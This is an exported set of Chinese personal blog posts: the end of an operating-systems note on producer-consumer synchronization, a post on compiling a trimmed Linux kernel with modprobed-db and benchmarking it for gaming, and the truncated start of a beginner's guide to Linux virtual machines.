是锁变量。\u003c/p\u003e\n\u003ch3 id=\"生产者和消费者问题\"\u003e生产者和消费者问题\u003c/h3\u003e\n\u003cp\u003e阅读代码,看看有啥问题。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在单核 CPU 上:\u003c/p\u003e\n\u003cp\u003e先执行消费者进程:\u003cbr/\u003e\n发现仓库里没有东西,准备睡眠。但是还没睡眠,进程切换到生产者了。\u003cbr/\u003e\n生产者开始生产产品,发现仓库里有东西,向消费者进程发出唤醒信号。进程切换到消费者。\u003cbr/\u003e\n消费者进程是醒着的,只是准备睡眠,把唤醒信号忽略掉,然后睡眠了,退出了 CPU 。\u003cbr/\u003e\n最后生产者把仓库填满了,也睡了。两个进程都睡了:-P\u003c/p\u003e\n\u003cp\u003e如果目前仓库满了:\u003cbr/\u003e\n生产者决定睡眠,但还没睡,进程切换到消费者了。\u003cbr/\u003e\n消费者用了一个产品,发现仓库里数量为 N-1,唤醒生产者。\u003cbr/\u003e\n生产者忽略了唤醒信号,睡眠。\u003cbr/\u003e\n消费者用完了所有东西,也睡了:-P\u003c/p\u003e\n\u003cp\u003e要点:准备睡眠时切换进程了,唤醒信号被忽略。\u003c/p\u003e\n\u003ch3 id=\"mutex互斥锁和-semaphore信号量的不同\"\u003eMutex(互斥锁)和 Semaphore(信号量)的不同\u003c/h3\u003e\n\u003cp\u003eMutex 实现在用户态,代价低,数量上限高。Semaphore 实现在内核态,代价高,数量上限低。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/HuqXCyzwJA3N2kE.jpg\" alt=\"Featured image of post 自己编译 Linux 内核,好像一点用都没有?\"/\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/li\u003e\n\u003cli\u003e为啥自己编译没用~性能对比和优劣势对比\u003c/li\u003e\n\u003cli\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/li\u003e\n\u003cli\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/li\u003e\n\u003cli\u003e结尾\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"为什么我要自己编译内核-linux-内核的多元化\"\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/h2\u003e\n\u003cp\u003e很简单,下学期我有门课,叫“操作系统”,据说需要编译内核。实际上我之前编译过,但是我没有接触过设置,这回想看看我能设置啥。\u003cbr/\u003e\n不过我最讨厌学习了,所以接下来的才是真正原因233\u003cbr/\u003e\n我玩《黑山起源》,玩起来很卡。游戏设置当然是调了,但根据我之前压制视频,我觉得是内核没有把我的核显和 CPU 压榨干净(我的电脑是轻薄本)。之前看过很多帖子,说用了特制内核,跑起来能快一些。\u003cbr/\u003e\n这里,我提到了“特制内核”。因为 Linux 内核是开源的,自然,有人魔改了很多版本。这里介绍四个版本:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e长期支持版(LTS),为了稳定而优化的版本,相当于 Windows 的 LTSC 版。一般出现在 CentOS 和 Ubuntu 上面。\u003c/li\u003e\n\u003cli\u003elinux-zen,为了桌面电脑而进行过性能优化。我日用这个版本。\u003c/li\u003e\n\u003cli\u003elinux-hardened,为了系统安全而优化的版本。\u003c/li\u003e\n\u003cli\u003elinux-libre,为了代码的绝对自由而砍掉了很多驱动。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然,如果你是为了应付操作系统实验,我建议你还是使用原版吧。首先,网上教程丰富,其次,代码简单易得。\u003c/p\u003e\n\u003ch2 id=\"为啥自己编译没用性能对比\"\u003e为啥自己编译没用~性能对比\u003c/h2\u003e\n\u003cp\u003e鉴于我编译内核,最主要的出发点是加速游戏运行,自然我得提供这方面的数据了。\u003cbr/\u003e\n我的自制内核,基于 linux-zen 内核,精简了很多没必要的驱动,以及在电脑管理模块强制使用性能模式,并根据我的处理器型号(AMD Ryzen 4750U),使用了\u0026#34;Zen 2\u0026#34;性能优化。\u003cbr/\u003e\n以下跑分均在我的电脑上进行,型号是 Thinkpad T14 ,系统是最新的 Arch Linux ,在接电情况下进行。\u003cbr/\u003e\n首先是GeekBench(下称GB)的跑分成绩:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth rowspan=\"2\"\u003e测试次数\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5038\u003c/td\u003e\n\t\t\u003ctd\u003e12522767\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5112\u003c/td\u003e\n\t\t\u003ctd\u003e12523274\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e1191\u003c/td\u003e\n\t\t\u003ctd\u003e5090\u003c/td\u003e\n\t\t\u003ctd\u003e12522823\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5119\u003c/td\u003e\n\t\t\u003ctd\u003e12523312\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e1214\u003c/td\u003e\n\t\t\u003ctd\u003e5087\u003c/td\u003e\n\t\t\u003ctd\u003e12522819\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5109\u003c/td\u003e\n\t\t\u003ctd\u003e12522353\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\u003ctd\u003e1206\u003c/td\u003e\n\t\t\u003ctd\u003e5070\u003c/td\u003e\n\t\t\u003ctd\u003e12522915\u003c/td\u003e\n\t\t\u003ctd\u003e1207\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523397\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\u003ctd\u003e1215\u003c/td\u003e\n\t\t\u003ctd\u003e5086\u003c/td\u003e\n\t\t\u003ctd\u003e12522951\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523431\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\u003ctd\u003e1217\u003c/td\u003e\n\t\t\u003ctd\u003e5092\u003c/td\u003e\n\t\t\u003ctd\u003e12522998\u003c/td\u003e\n\t\t\u003ctd\u003e1212\u003c/td\u003e\n\t\t\u003ctd\u003e5098\u003c/td\u003e\n\t\t\u003ctd\u003e12523485\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均成绩\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5077\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5115\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\u003c/tr\u003e\t\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e接下来是《半条命2:失落的海岸线》(与《黑山起源》同为起源引擎)的跑分成绩,单位是 FPS:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth\u003e测试次数\u003c/th\u003e\n\t\t\u003cth\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e155.31\u003c/td\u003e\n\t\t\u003ctd\u003e151.91\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e137.70\u003c/td\u003e\n\t\t\u003ctd\u003e139.08\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e137.63\u003c/td\u003e\n\t\t\u003ctd\u003e141.41\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均FPS\u003c/td\u003e\n\t\t\u003ctd\u003e143.5\u003c/td\u003e\n\t\t\u003ctd\u003e144.1\u003c/td\u003e\n\t\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e由上可见,虽然自编译内核相较原版内核,有一定的性能提升,但是提升幅度不大。而我还发现,使用强制性能模式会导致电脑风扇长时间运行,CPU 过热现象明显。而在新内核下运行《黑山起源》,我觉得流畅度有些微提升,至少没有之前那么卡了。但是我高度怀疑这是某种安慰剂效应。\u003cbr/\u003e\n所以,自行编译内核并没有达到我的需求。但这不意味着我白搞了一通,至少编译内核速度快了。\n补充说明:我当时玩的是《黑山起源》的 Linux 版本,那个版本被很多的 ProtonDB 用户评为垃圾水平,因为在 AMDGPU 上会有贴图故障,而且不太更新。详情看这个。\n好了,进入我这篇文章的宝藏部分捏。\u003c/p\u003e\n\u003ch2 id=\"如何加速内核编译使用-modprobed-db-精简驱动模块\"\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/graysky2/modprobed-db\" target=\"_blank\" rel=\"noopener\"\u003emodprobed-db\u003c/a\u003e 是一个 bash 脚本,他能侦测你系统目前所使用的模块,并记录下来。在编译内核的时候,程序只会编译我们使用过的驱动模块,加速编译速度,减少内核体积。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e:使用这个软件,可能会精简驱动过头,导致使用不便。请各位打算使用前,最好稍微了解一下内核配置选项。本人仅在 Arch Linux 下运行过这个软件,如果你用的是 Ubuntu 等系统,使用有问题的话,请跟我说一下。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"过一下编译内核的一般步骤\"\u003e过一下编译内核的一般步骤\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e电脑装好编译环境,一般包括 gcc,make 等。Arch Linux 是要安装上 \u003ccode\u003ebase-devel\u003c/code\u003e 软件包组和 \u003ccode\u003egcc\u003c/code\u003e 。\u003c/li\u003e\n\u003cli\u003e你需要拖下来最新稳定版的内核源代码,然后进入源代码文件夹:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux-stable.git \u003cspan class=\"c1\"\u003e# 这里使用了清华镜像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e linux-stable\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e使用以下任意一个命令,配置内核参数:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make nconfig \u003cspan class=\"c1\"\u003e# 命令行界面配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make xconfig \u003cspan class=\"c1\"\u003e# 图形化界面配置(使用 QT )\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e: 很多教程是用make config配置内核,本人不推荐。界面太原始就算了,在 Arch Wiki 上面被标记为\u0026#34;被 nconfig 取代\u0026#34;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\" loading=\"lazy\" alt=\"nconfig长这样\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003enconfig长这样\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e使用 \u003ccode\u003emake -j$n\u003c/code\u003e 命令编译,这里 \u003ccode\u003e$n\u003c/code\u003e 代表你电脑/虚拟机的核心数。\u003c/li\u003e\n\u003cli\u003e使用以下两个命令来安装内核:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make module_install \u003cspan class=\"c1\"\u003e# 安装内核模块\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install \u003cspan class=\"c1\"\u003e# 安装内核本身\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"6\"\u003e\n\u003cli\u003e重启到新内核,如果没有的话,查看系统引导器设置。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用-modprobed-db-精简内核\"\u003e使用 modprobed-db 精简内核\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e获取 modprobed-db 软件。Arch Linux 用户可以使用 AUR 直接安装 \u003ccode\u003emodprobed-db\u003c/code\u003e 软件包。如果不是的话,根据该软件 Github 所介绍:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://github.com/graysky2/modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e modprobed-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo make install\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e获取目前你电脑正在挂载的模块:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db \u003cspan class=\"c1\"\u003e# 初始化软件\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db store \u003cspan class=\"c1\"\u003e# 获取目前运行模块并保存在一个数据库中\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db list \u003cspan class=\"c1\"\u003e# 列出存在数据库里面,电脑运行过的的内核模块记录\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ modprobed-db debug \u003cspan class=\"c1\"\u003e# 列出目前运行系统模块和数据库记录的异同\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e在编译内核的时候,配置内核参数部分,执行这个命令来关掉不需要的模块编译开关。然后编译安装即可。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ make LSMOD=$HOME/.config/modprobed.db localmodconfig\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"使用提示\"\u003e使用提示\u003c/h3\u003e\n\u003cp\u003e如果你是实机运行的话,务必把所有你要使用的设备都使用上。这里我翻译一下\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Modprobed-db#Populating_the_database\" target=\"_blank\" rel=\"noopener\"\u003e Arch Wiki 的原文\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e挂载上所有需要用到的文件系统\u003c/li\u003e\n\u003cli\u003e接上所有需要用到的可移动媒体,比如U盘,光驱等\u003c/li\u003e\n\u003cli\u003e以上选项包括挂载 ISO 文件,这个涉及到 loop 模块和 isofs 模块\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有设备,例如网卡,输入设备,电脑摄像头,移动设备等\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有应用程序,有些程序是需要特定内核模块来运行的,比如虚拟机\u003c/li\u003e\n\u003cli\u003e在不同版本/特制的内核上运行 modprobed-db,也许会录入一些其他内核没有的模块\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我当时没有插上我的光驱,就运行了这个,结果新内核没法读我的光驱:-P\u003c/p\u003e\n\u003ch2 id=\"我到底配置了啥给大家看看我改过的内核配置\"\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/h2\u003e\n\u003cp\u003e我上面说过,使用 modprobed-db 的前提是对内核配置有一定了解,至少需要看到选项的时候,脑瓜不疼。(如果你是应付操作系统实验,我看\u003ca class=\"link\" href=\"https://github.com/LevickCG/Happy-SE-in-XDU/tree/master/OS\" target=\"_blank\" rel=\"noopener\"\u003e我们学校的操作系统资料\u003c/a\u003e和\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥的实验总结\u003c/a\u003e的步骤,我觉得你要是在虚拟机下直接搞,应该没有问题)\u003cbr/\u003e\n所以,我来给大家看一下我的内核配置吧,给大家看看我改了什么。这里我用 \u003ccode\u003emake nconfig\u003c/code\u003e 配置。\u003cbr/\u003e\n第一个选项是总体选项,是包括了内核压缩,特定版本号之类的信息。请看 xmgg 的吧。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\" loading=\"lazy\" alt=\"默认界面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e默认界面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这是默认界面,配置程序给了我们一些选项。下面的功能键中,F2可以查看配置选项的详细信息,F9可以搜索配置选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\" loading=\"lazy\" alt=\"处理器类型和特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e处理器类型和特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方是配置处理器相关信息的。我这里把很多因特尔处理器的独家特性给删掉了,然后处理器优化强制设置为Zen 2。其他方面的有任务调度之类,我没有动,因为不懂。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\" loading=\"lazy\" alt=\"插入电源管理特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e插入电源管理特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置电源管理,我开启了休眠和睡眠,然后将CPU频率调整设置为\u0026#34;性能\u0026#34;。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\" loading=\"lazy\" alt=\"文件系统选项\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e文件系统选项\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置文件系统支持,是精简内核的重中之重,也是一个坑。如果精简过头,可能插个U盘读不出来。尤其注意CD文件系统和DOS文件系统选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\" loading=\"lazy\" alt=\"驱动配置\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e驱动配置\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置驱动选项,基本上编译内核,大部分时间都是在编译驱动。所以,这个地方我们可以大开杀戒。不过千万不要要把你需要用到的驱动给去了。\u003cbr/\u003e\n其他方面,诸如支持32位可执行程序,内核安全算法,调试选项等,我就不说啦。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e虽然自己编译内核,没有使游戏性能有很大提升\u003cbr/\u003e\n但是我由此得到了提升内核编译的一个途径,这要将来节省时间\u003cdel\u003e卷过别人\u003c/del\u003e不就很方便了吗\u003cbr/\u003e\n实际上我还给内核打上了\u003ca class=\"link\" href=\"https://github.com/zhmars/cjktty-patches\" target=\"_blank\" rel=\"noopener\"\u003e中文补丁\u003c/a\u003e,不过网上很多教程,我就不在这说了。给大家个\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/375460344\" target=\"_blank\" rel=\"noopener\"\u003e链接\u003c/a\u003e看看吧。没记错命令是 \u003ccode\u003epatch -Np1 \u0026lt; 补丁文件\u003c/code\u003e 。\u003cbr/\u003e\n我还使用了 Arch Linux 的包管理工具,让整个过程更简单。具体看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Arch_Build_System\" target=\"_blank\" rel=\"noopener\"\u003e这个\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Traditional_compilation\" target=\"_blank\" rel=\"noopener\"\u003eArch Wiki提供的编译内核指南(多系统适用哦)\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥教大家操作系统实验啦\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2qIsgFjYrfldwuh.webp\" alt=\"Featured image of post 快速逃离Linux指南\"/\u003e\u003cp\u003e看完了,搞定完操作系统实验,快跑!\u003cbr/\u003e\n注意:我不可能把在互联网上随便找到的教程再写一遍,我觉得很啰嗦,所以请各位多多使用互联网。\u003cbr/\u003e\n如果你是大佬,好好沉下心来帮帮小白,行吗。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003col\u003e\n \u003cli\u003e虚拟机的相关\u003c/li\u003e\n \u003cli\u003e镜像使用\u003c/li\u003e\n \u003cli\u003e好奇怪的桌面\u003c/li\u003e\n \u003cli\u003e文件相关\u003c/li\u003e\n \u003cli\u003e命令行的基本使(chao)用(xi)\u003c/li\u003e\n \u003cli\u003e如何把Linux引进家\u003c/li\u003e\n \u003cli\u003eLinux系统安全教育\u003c/li\u003e\n \u003cli\u003e还有没说到的,上网查资料/优雅地问问题\u003c/li\u003e\n \u003cli\u003e为什么我不推荐大家使用Linux\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"虚拟机相关\"\u003e虚拟机相关\u003c/h2\u003e\n\u003cp\u003e相信各位是被老师的某些需求,才知道有个操作系统叫Linux,才想安装的吧。而各位肯定不想在自己唯一的实机上安装,估计你们都连系统都没装过,会碰到一堆问题:-P\n所以虚拟机是一个更好的选择,它是模拟了一个类似于你电脑的环境。你在里面怎么折腾,只要不出格,基本上不会对你电脑里的其他东西有影响。\u003cbr/\u003e\n这里我不会教大家如何设置一个虚拟机,我给大家一些便于使用的指南。\u003c/p\u003e\n\u003ch3 id=\"增强功能\"\u003e增强功能\u003c/h3\u003e\n\u003cp\u003e一般安装完系统,你需要在虚拟机里的系统安装虚拟机的增强功能。安装完增强功能有啥好处呢?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e窗口缩放自动化,你没有必要盯着640x480的上古分辨率了。\u003c/li\u003e\n\u003cli\u003e相当于给虚拟机里的系统打上了驱动。最直观的,画面更流畅了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以共享一个剪切板,抄点命令代码更方便了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以互相分享文件了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里,给VirtualBox用户来个建议,一定要装VirtualBox软件的增强模块!上网找一下Oracle Extension Pack了解一下吧。\u003cbr/\u003e\n好了,如何安装捏?我知道网上可以找到一大堆的安装教程,但我突然间想多写一些,想让大家少走不必要的弯路。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e虚拟机软件\u003c/th\u003e\n\u003cth\u003e虚拟机里的系统\u003c/th\u003e\n\u003cth\u003e安装方式\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"2\"\u003eVMWare Workstation\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从VM选项找到”安装VMWare Tools”选项,然后安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLinux\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装open-vm-tools\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"3\"\u003eOracle VirtualBox\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e下载VBoxGuestAddtions.iso,虚拟机挂载安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eRed Hat系Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e同Windows安装方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003e其他的Linux发行版\u003c/td\u003e\n\u003ctd 